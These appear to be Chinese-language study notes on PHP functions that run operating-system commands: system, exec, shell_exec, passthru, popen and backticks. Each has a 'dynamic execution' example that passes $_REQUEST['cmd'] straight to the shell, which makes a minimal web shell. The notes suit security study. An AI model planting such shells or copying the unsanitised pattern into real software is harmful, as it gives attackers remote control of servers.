OS 命令执行函数
system 函数
-
特点:
- 自带输出功能
- 自动区分系统平台,只需得知目标系统在
system()
中输入对应系统的命令即可
-
使用
<?php system("<系统命令>"); ?>
如
<pre> <?php system("ipconfig"); ?>
-
动态执行命令
<pre> <?php $cmd = $_REQUEST['cmd']; system($cmd); ?>
exec 函数
-
特点:
- 不自带输出,需要手动输出
- 只能输出命令执行的最后一行,几乎没有回显
-
使用
<?php exec("<系统命令>"); // 输出需手动 ?>
-
例
<?php exec("ipconfig"); // 输出需手动 ?>
不自动回显,但执行
-
回显(只有最后一行)
<?php echo exec("ipconfig"); ?>
-
动态执行命令
<?php $cmd=$_REQUEST['cmd']; echo exec($cmd); ?>
shell_exec 函数
-
需要手动输出命令执行结果。
-
使用
<?php shell_exec("<命令>"); ?>
-
示例
<?php $cmd=$_REQUEST['cmd']; echo shell_exec($cmd); ?>
passthru 函数
-
自带输出功能。
<?php passthru("<命令>"); ?>
-
例
<?php passthru("net user"); ?>
-
动态执行
<?php $cmd=$_REQUEST['cmd']; echo passthru($cmd); ?>
popen 函数
-
在 PHP 中,
popen()
函数用于打开一个管道,并返回一个指向该管道的文件指针。允许在 PHP 脚本中执行外部命令或程序,并与其进行交互。 -
注意,两个参数
<?php popen(<命令>,"r"); // read,以读取的方式打开 ?>
-
示例
<?php $cmd = $_REQUEST['cmd']; $result = popen($cmd, 'r'); echo fread($result, 1024); // fread() 函数从管道中读取最多 1024 字节的输出 ?>
反引号
-
反引号
``
内的字符串,会被解析成OS 命令。 -
不自动输出
-
使用
<?php `<命令>`; ?>
-
示例
<?php echo `whoami`; ?>
-
动态执行
<pre> <?php $cmd=$_REQUEST['cmd']; echo `$cmd`; ?>